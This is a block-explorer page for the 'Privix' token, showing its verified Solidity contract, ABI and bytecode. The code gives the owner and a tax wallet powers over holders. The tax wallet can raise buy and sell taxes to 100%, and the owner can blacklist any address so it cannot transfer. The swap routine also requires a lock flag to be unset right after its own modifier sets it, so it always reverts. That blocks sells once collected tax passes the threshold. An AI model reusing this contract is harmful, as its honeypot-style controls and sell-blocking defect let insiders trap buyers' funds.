ETH Price: $3,409.02 (+5.24%)

Token

Privix (Privix)
 

Overview

Max Total Supply

21,000,000 Privix

Holders

2,128 ( 1.363%)

Transfers

-
149 ( 106.94%)

Market

Price

$0.01 @ 0.000002 ETH (+4.13%)

Onchain Market Cap

$111,873.42

Circulating Supply Market Cap

$0.00

Other Info

Token Contract (WITH 9 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

OVERVIEW

Privix is a L1 EVM-compatible blockchain designed to prioritize privacy, security, and anonymity within a unified ecosystem.

Market

Volume (24H):$0.00
Market Capitalization:$0.00
Circulating Supply:0.00 Privix
Market Data Source: Coinmarketcap

# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Privix

Compiler Version
v0.8.30+commit.73712a01

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion
File 1 of 1 : PrivixToken.sol
// SPDX-License-Identifier: UNLICENSE

pragma solidity ^0.8.23;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a, "SafeMath: subtraction overflow");
        return a - b;
    }
    
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        return a - b;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) { return 0; }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b > 0, "SafeMath: division by zero");
        return a / b;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract Privix is Context, IERC20, Ownable {
    using SafeMath for uint256;

    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromFee;
    mapping(address => bool) private _isBlacklisted;

    address payable private _taxWallet;

    string private constant _name = unicode"Privix";
    string private constant _symbol = unicode"Privix";

    // tax settings
    uint256 private _initialBuyTax = 0; 
    uint256 private _initialSellTax = 40; 
    uint256 private _finalBuyTax = 5;
    uint256 private _finalSellTax = 5; 

    // blocks / timing
    uint256 private _preventSwapBefore = 1;
    uint256 private _buyCount = 0;
    uint32 private _launchBlock;
    uint256 private _launchTime;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 21_000_000 * 10 ** _decimals; 
    uint256 public _maxTxAmount = 210_000 * 10 ** _decimals;         
    uint256 public _maxWalletSize = 420_000 * 10 ** _decimals;       
    uint256 public _taxSwapThreshold = 21_000 * 10 ** _decimals;     
    uint256 public _maxTaxSwap = 420_000 * 10 ** _decimals;          

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
    bool private autoLiquidityEnabled = true; 
    uint256 private sellCount = 0;
    uint256 private lastSellBlock = 0;

    event MaxTxAmountUpdated(uint _maxTxAmount);
    event BlacklistUpdated(address indexed account, bool isBlacklisted);
    event AutoLiquidityToggled(bool enabled);
    
    modifier lockTheSwap() {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor() {
        _taxWallet = payable(0x6b37450d782A94eC3c064F73D5870Ef94Db79a17);
        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWallet] = true;

        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) { return _name; }
    function symbol() public pure returns (string memory) { return _symbol; }
    function decimals() public pure returns (uint8) { return _decimals; }
    function totalSupply() public pure override returns (uint256) { return _tTotal; }
    function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner_, address spender) public view override returns (uint256) {
        return _allowances[owner_][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner_, address spender, uint256 amount) private {
        require(owner_ != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner_][spender] = amount;
        emit Approval(owner_, spender, amount);
    }

    function _currentBuyTax() internal view returns (uint256) {
        if (_launchTime == 0) return 0;
        
        if (block.timestamp < _launchTime + 24 hours) {
            // 0% buy tax for first 24 hours
            return 0;
        } else {
   
            return _finalBuyTax;
        }
    }
    
    function _currentSellTax() internal view returns (uint256) {
        if (_launchTime == 0) return _initialSellTax;
        
        // Calculate time elapsed since launch
        uint256 timeElapsed = block.timestamp > _launchTime ? (block.timestamp - _launchTime) : 0;
        
       
        uint256 intervals = timeElapsed / 1800;
        
      
        uint256 reduction = intervals * 5;
        
  
        if (reduction >= _initialSellTax.sub(_finalSellTax)) return _finalSellTax;
        
        return _initialSellTax.sub(reduction);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        require(!_isBlacklisted[from], "Sender is blacklisted");
        require(!_isBlacklisted[to], "Recipient is blacklisted");

        uint256 taxAmount = 0;

        if (from != owner() && to != owner()) {
            if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
                require(swapEnabled, "trading is not open");
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                
      
                uint256 buyTax = _currentBuyTax();
                taxAmount = amount.mul(buyTax).div(100);
                
         
                require(balanceOf(to) + amount.sub(taxAmount) <= _maxWalletSize, "Exceeds the maxWalletSize.");
                _buyCount++;
            }

            if (to == uniswapV2Pair && from != address(this)) {
                uint256 sellTax = _currentSellTax();
                taxAmount = amount.mul(sellTax).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance > _taxSwapThreshold && _buyCount > _preventSwapBefore) {
                if (block.number > lastSellBlock) { sellCount = 0; }
                require(sellCount < 4, "Only 4 sells per block!");
                
            
                sellCount++;
                lastSellBlock = block.number;
                
                uint256 amountToSwap = min(amount, min(contractTokenBalance, _maxTaxSwap));
                swapAndLiquify(amountToSwap);
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance > 0) { sendETHToFee(contractETHBalance); }
            }
        }

        if (taxAmount > 0) {
            _balances[address(this)] = _balances[address(this)].add(taxAmount);
            emit Transfer(from, address(this), taxAmount);
        }
        _balances[from] = _balances[from].sub(amount);
        _balances[to] = _balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }

    function min(uint256 a, uint256 b) private pure returns (uint256) {
        return (a > b) ? b : a;
    }

   
    function swapTokensForEth(uint256 tokenAmount) private {
        require(tokenAmount > 0, "Amount must be greater than 0");
        require(address(uniswapV2Router) != address(0), "Router not set");
        
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp + 300 // 5 minute deadline
        );
    }

    function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
   
        require(!inSwap, "Reentrancy guard");
        require(contractTokenBalance > 0, "No tokens to swap");
        
        if (autoLiquidityEnabled) {
            uint256 tokensForLiquidity = contractTokenBalance.mul(20).div(100);
            uint256 halfLiquidity = tokensForLiquidity.div(2);
            uint256 tokensToSwap = contractTokenBalance.sub(halfLiquidity);

            if (tokensToSwap == 0) return;

      
            uint256 initialETHBalance = address(this).balance;
            
            swapTokensForEth(tokensToSwap);

    
            uint256 newETHBalance = address(this).balance;
            require(newETHBalance >= initialETHBalance, "ETH balance decreased");
            uint256 receivedETH = newETHBalance.sub(initialETHBalance);
            
           
            uint256 ethForLiquidity = 0;
            if (tokensToSwap > 0 && halfLiquidity > 0 && receivedETH > 0) {
               
                require(receivedETH <= type(uint256).max / halfLiquidity, "Multiplication overflow");
                ethForLiquidity = receivedETH.mul(halfLiquidity).div(tokensToSwap);
            }

            if (halfLiquidity > 0 && ethForLiquidity > 0 && ethForLiquidity <= address(this).balance) {
                _approve(address(this), address(uniswapV2Router), halfLiquidity);
                uniswapV2Router.addLiquidityETH{ value: ethForLiquidity }(
                    address(this),
                    halfLiquidity,
                    0,
                    0,
                    owner(),
                    block.timestamp
                );
            }
        } else {
            swapTokensForEth(contractTokenBalance);
        }
    }

    function removeLimits() external onlyOwner {
        _maxTxAmount = _tTotal;
        _maxWalletSize = _tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }

  
    function sendETHToFee(uint256 amount) private {
        if (amount == 0) return;
        (bool success, ) = _taxWallet.call{ value: amount }("");
        require(success, "ETH transfer failed");
    }

   
    function addLP() external onlyOwner {
        IERC20(address(this)).approve(address(uniswapV2Router), type(uint).max);
        uniswapV2Router.addLiquidityETH{ value: address(this).balance }(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );
    }

    function openTrading() external onlyOwner {
        require(!tradingOpen, "trading is already open");
        swapEnabled = true;
        tradingOpen = true;
        _launchBlock = uint32(block.number);
        _launchTime = block.timestamp;
    }

    function setFinalTaxes(uint256 newFinalBuy, uint256 newFinalSell) external {
        require(_msgSender() == _taxWallet);
        require(newFinalBuy <= 100 && newFinalSell <= 100, "invalid");
        _finalBuyTax = newFinalBuy;
        _finalSellTax = newFinalSell;
    }

    receive() external payable {}

    function manualSwap() external {
        require(_msgSender() == _taxWallet);
        uint256 tokenBalance = balanceOf(address(this));
        if (tokenBalance > 0) { swapAndLiquify(tokenBalance); }
        uint256 ethBalance = address(this).balance;
        if (ethBalance > 0) { sendETHToFee(ethBalance); }
    }

    function rescueERC20(address _address, uint256 percent) external {
        require(_msgSender() == _taxWallet);
        uint256 _amount = IERC20(_address).balanceOf(address(this)).mul(percent).div(100);
        IERC20(_address).transfer(_taxWallet, _amount);
    }

    function burnClog(uint256 percent) external {
        require(_msgSender() == _taxWallet);
        uint256 _amount = IERC20(address(this)).balanceOf(address(this)).mul(percent).div(100);
        IERC20(address(this)).transfer(0x000000000000000000000000000000000000dEaD, _amount);
    }

    function manualsend() external {
        require(_msgSender() == _taxWallet);
        uint256 contractETHBalance = address(this).balance;
        sendETHToFee(contractETHBalance);
    }

  
    function blacklistAddress(address account, bool blacklisted) external onlyOwner {
        require(account != owner(), "Cannot blacklist owner");
        require(account != address(this), "Cannot blacklist contract");
        require(account != _taxWallet, "Cannot blacklist tax wallet");
        require(account != uniswapV2Pair, "Cannot blacklist pair");
        require(account != address(uniswapV2Router), "Cannot blacklist router");
        
        _isBlacklisted[account] = blacklisted;
        emit BlacklistUpdated(account, blacklisted);
    }

    function blacklistMultiple(address[] calldata accounts, bool blacklisted) external onlyOwner {
        for (uint256 i = 0; i < accounts.length; i++) {
            address account = accounts[i];
            if (account != owner() && 
                account != address(this) && 
                account != _taxWallet && 
                account != uniswapV2Pair && 
                account != address(uniswapV2Router)) {
                
                _isBlacklisted[account] = blacklisted;
                emit BlacklistUpdated(account, blacklisted);
            }
        }
    }

    function isBlacklisted(address account) external view returns (bool) {
        return _isBlacklisted[account];
    }

    
    function toggleAutoLiquidity(bool enabled) external onlyOwner {
        autoLiquidityEnabled = enabled;
        emit AutoLiquidityToggled(enabled);
    }

    function isAutoLiquidityEnabled() external view returns (bool) {
        return autoLiquidityEnabled;
    }


    function getCurrentBuyTax() external view returns (uint256) {
        return _currentBuyTax();
    }
    
    function getCurrentSellTax() external view returns (uint256) {
        return _currentSellTax();
    }
    
    function getTaxScheduleInfo() external view returns (
        uint256 launchTime,
        uint256 currentTime,
        uint256 timeElapsed,
        uint256 currentBuyTax,
        uint256 currentSellTax,
        uint256 nextSellTaxReductionIn
    ) {
        launchTime = _launchTime;
        currentTime = block.timestamp;
        timeElapsed = _launchTime > 0 ? (currentTime > _launchTime ? currentTime - _launchTime : 0) : 0;
        currentBuyTax = _currentBuyTax();
        currentSellTax = _currentSellTax();
        
  
        if (_launchTime > 0 && currentSellTax > _finalSellTax) {
            uint256 intervals = timeElapsed / 1800; // 30-minute intervals
            uint256 nextInterval = (intervals + 1) * 1800;
            nextSellTaxReductionIn = nextInterval > timeElapsed ? nextInterval - timeElapsed : 0;
        } else {
            nextSellTaxReductionIn = 0;
        }
    }
}

Settings
{
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  },
  "remappings": []
}

Contract Security Audit

Contract ABI

API
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"AutoLiquidityToggled","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"isBlacklisted","type":"bool"}],"name":"BlacklistUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"addLP","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner_","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"blacklisted","type":"bool"}],"name":"blacklistAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"bool","name":"blacklisted","type":"bool"}],"name":"blacklistMultiple","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"percent","type":"uint256"}],"name":"burnClog","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"getCurrentBuyTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getCurrentSellTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getTaxScheduleInfo","outputs":[{"internalType":"uint256","name":"launchTime","type":"uint256"},{"internalType":"uint256","name":"currentTime","type":"uint256"},{"internalType":"uint256","name":"timeElapsed","type":"uint256"},{"internalType":"uint256","name":"currentBuyTax","type":"uint256"},{"internalType":"uint256","name":"currentSellTax","type":"uint256"},{"internalType":"uint256","name":"nextSellTaxReductionIn","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"isAutoLiquidityEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isBlacklisted","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualsend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"uint256","name":"percent","type":"uint256"}],"name":"rescueERC20","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newFinalBuy","type":"uint256"},{"internalType":"uint256","name":"newFinalSell","type":"uint256"}],"name":"setFinalTaxes","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"bool","name":"enabled","type":"bool"}],"name":"toggleAutoLiquidity","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040525f6006556028600755600560085560056009556001600a555f600b556009600a61002e9190610a00565b6203345061003c9190610a4a565b600e556009600a61004d9190610a00565b620668a061005b9190610a4a565b600f556009600a61006c9190610a00565b6152086100799190610a4a565b6010556009600a61008a9190610a00565b620668a06100989190610a4a565b6011555f601360156101000a81548160ff0219169083151502179055505f601360166101000a81548160ff0219169083151502179055506001601360176101000a81548160ff0219169083151502179055505f6014555f6015553480156100fd575f5ffd5b505f61010d61069e60201b60201c565b9050805f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350736b37450d782a94ec3c064f73d5870ef94db79a1760055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506009600a61020b9190610a00565b6301406f4061021a9190610a4a565b60015f61022b61069e60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550600160035f61027b6106a560201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160035f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160035f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550737a250d5630b4cf539739df2c5dacb4c659f2488d60125f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506104373060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a61041d9190610a00565b6301406f4061042c9190610a4a565b6106cc60201b60201c565b60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156104a1573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104c59190610ae9565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561054b573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061056f9190610ae9565b6040518363ffffffff1660e01b815260040161058c929190610b23565b6020604051808303815f875af11580156105a8573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105cc9190610ae9565b60135f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061061961069e60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6009600a6106759190610a00565b6301406f406106849190610a4a565b6040516106919190610b59565b60405180910390a3610c9e565b5f33905090565b5f5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361073a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161073190610bf2565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036107a8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161079f90610c80565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516108829190610b59565b60405180910390a3505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f5f8291508390505b6001851115610911578086048111156108ed576108ec61088f565b5b60018516156108fc5780820291505b808102905061090a856108bc565b94506108d1565b94509492505050565b5f8261092957600190506109e4565b81610936575f90506109e4565b816001811461094c576002811461095657610985565b60019150506109e4565b60ff8411156109685761096761088f565b5b8360020a91508482111561097f5761097e61088f565b5b506109e4565b5060208310610133831016604e8410600b84101617156109ba5782820a9050838111156109b5576109b461088f565b5b6109e4565b6109c784848460016108c8565b925090508184048111156109de576109dd61088f565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f610a0a826109eb565b9150610a15836109f4565b9250610a427fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848461091a565b905092915050565b5f610a54826109eb565b9150610a5f836109eb565b9250828202610a6d816109eb565b91508282048414831517610a8457610a8361088f565b5b5092915050565b5f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f610ab882610a8f565b9050919050565b610ac881610aae565b8114610ad2575f5ffd5b50565b5f81519050610ae381610abf565b92915050565b5f60208284031215610afe57610afd610a8b565b5b5f610b0b84828501610ad5565b91505092915050565b610b1d81610aae565b82525050565b5f604082019050610b365f830185610b14565b610b436020830184610b14565b9392505050565b610b53816109eb565b82525050565b5f602082019050610b6c5f830184610b4a565b92915050565b5f82825260208201905092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f610bdc602483610b72565b9150610be782610b82565b604082019050919050565b5f6020820190508181035f830152610c0981610bd0565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f610c6a602283610b72565b9150610c7582610c10565b604082019050919050565b5f6020820190508181035f830152610c9781610c5e565b9050919050565b614b0380610cab5f395ff3fe6080604052600436106101d0575f3560e01c80637d1db4a5116100f6578063b95ce91011610094578063dd62ed3e11610063578063dd62ed3e146105fe578063ddee24a41461063a578063f54493d814610662578063fe575a871461068c576101d7565b8063b95ce91014610580578063bc37e1a3146105a8578063bf474bed146105be578063c9567bf9146105e8576101d7565b80638f9a55c0116100d05780638f9a55c0146104c857806395d89b41146104f2578063a9059cbb1461051c578063af24038714610558576101d7565b80637d1db4a51461044c5780638cd4426d146104765780638da5cb5b1461049e576101d7565b8063313ce5671161016e5780636fc3eaec1161013d5780636fc3eaec146103ba57806370a08231146103d0578063751039fc1461040c57806375c5f6e414610422576101d7565b8063313ce56714610323578063455a43961461034d57806351bc3c85146103755780636bd7780e1461038b576101d7565b80631053d256116101aa5780631053d2561461026b57806318160ddd1461029557806323b872dd146102bf578063295f5452146102fb576101d7565b806306fdde03146101db578063095ea7b3146102055780630faee56f14610241576101d7565b366101d757005b5f5ffd5b3480156101e6575f5ffd5b506101ef6106c8565b6040516101fc919061322c565b60405180910390f35b348015610210575f5ffd5b5061022b600480360381019061022691906132e1565b610705565b6040516102389190613339565b60405180910390f35b34801561024c575f5ffd5b50610255610722565b6040516102629190613361565b60405180910390f35b348015610276575f5ffd5b5061027f610728565b60405161028c9190613361565b60405180910390f35b3480156102a0575f5ffd5b506102a9610736565b6040516102b69190613361565b60405180910390f35b3480156102ca575f5ffd5b506102e560048036038101906102e0919061337a565b610759565b6040516102f29190613339565b60405180910390f35b348015610306575f5ffd5b50610321600480360381019061031c91906133ca565b61082d565b005b34801561032e575f5ffd5b506103376109ae565b6040516103449190613410565b60405180910390f35b348015610358575f5ffd5b50610373600480360381019061036e9190613453565b6109b6565b005b348015610380575f5ffd5b50610389610d81565b005b348015610396575f5ffd5b5061039f610e18565b6040516103b196959493929190613491565b60405180910390f35b3480156103c5575f5ffd5b506103ce610ede565b005b3480156103db575f5ffd5b506103f660048036038101906103f191906134f0565b610f4d565b6040516104039190613361565b60405180910390f35b348015610417575f5ffd5b50610420610f93565b005b34801561042d575f5ffd5b506104366110c3565b6040516104439190613339565b60405180910390f35b348015610457575f5ffd5b506104606110d9565b60405161046d9190613361565b60405180910390f35b348015610481575f5ffd5b5061049c600480360381019061049791906132e1565b6110df565b005b3480156104a9575f5ffd5b506104b2611280565b6040516104bf919061352a565b60405180910390f35b3480156104d3575f5ffd5b506104dc6112a7565b6040516104e99190613361565b60405180910390f35b3480156104fd575f5ffd5b506105066112ad565b604051610513919061322c565b60405180910390f35b348015610527575f5ffd5b50610542600480360381019061053d91906132e1565b6112ea565b60405161054f9190613339565b60405180910390f35b348015610563575f5ffd5b5061057e60048036038101906105799190613543565b611307565b005b34801561058b575f5ffd5b506105a660048036038101906105a19190613581565b6113c9565b005b3480156105b3575f5ffd5b506105bc6114b2565b005b3480156105c9575f5ffd5b506105d26116be565b6040516105df9190613361565b60405180910390f35b3480156105f3575f5ffd5b506105fc6116c4565b005b